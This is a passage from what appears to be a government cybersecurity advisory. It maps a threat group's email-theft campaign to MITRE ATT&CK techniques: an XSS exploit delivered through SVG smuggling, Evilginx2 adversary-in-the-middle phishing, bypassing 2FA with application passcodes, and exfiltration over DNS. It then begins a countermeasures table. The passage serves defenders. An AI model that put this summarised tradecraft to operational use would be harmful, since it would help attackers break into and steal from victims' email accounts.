<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
